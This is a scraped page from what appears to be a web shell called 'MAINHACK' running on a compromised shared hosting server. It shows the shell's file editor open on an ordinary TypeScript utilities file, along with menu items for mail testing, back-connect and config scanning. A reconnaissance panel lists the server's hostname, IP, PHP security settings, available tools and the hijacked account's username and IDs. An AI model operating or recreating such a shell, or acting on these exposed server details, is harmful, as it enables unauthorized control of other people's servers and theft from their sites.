[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: utils.ts
export type Key = string | number; export type Comparator = (a, b) => boolean; export const typeChecker = <TType>(type) => { const typeString = "[object " + type + "]"; return function (value): value is TType { return getClassName(value) === typeString; }; }; const getClassName = (value) => Object.prototype.toString.call(value); export const comparable = (value: any) => { if (value instanceof Date) { return value.getTime(); } else if (isArray(value)) { return value.map(comparable); } else if (value && typeof value.toJSON === "function") { return value.toJSON(); } return value; }; export const coercePotentiallyNull = (value: any) => value == null ? null : value; export const isArray = typeChecker<Array<any>>("Array"); export const isObject = typeChecker<Object>("Object"); export const isFunction = typeChecker<Function>("Function"); export const isProperty = (item: any, key: any) => { return item.hasOwnProperty(key) && !isFunction(item[key]); }; export const isVanillaObject = (value) => { return ( value && (value.constructor === Object || value.constructor === Array || value.constructor.toString() === "function Object() { [native code] }" || value.constructor.toString() === "function Array() { [native code] }") && !value.toJSON ); }; export const equals = (a, b) => { if (a == null && a == b) { return true; } if (a === b) { return true; } if (Object.prototype.toString.call(a) !== Object.prototype.toString.call(b)) { return false; } if (isArray(a)) { if (a.length !== b.length) { return false; } for (let i = 0, { length } = a; i < length; i++) { if (!equals(a[i], b[i])) return false; } return true; } else if (isObject(a)) { if (Object.keys(a).length !== Object.keys(b).length) { return false; } for (const key in a) { if (!equals(a[key], b[key])) return false; } return true; } return false; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344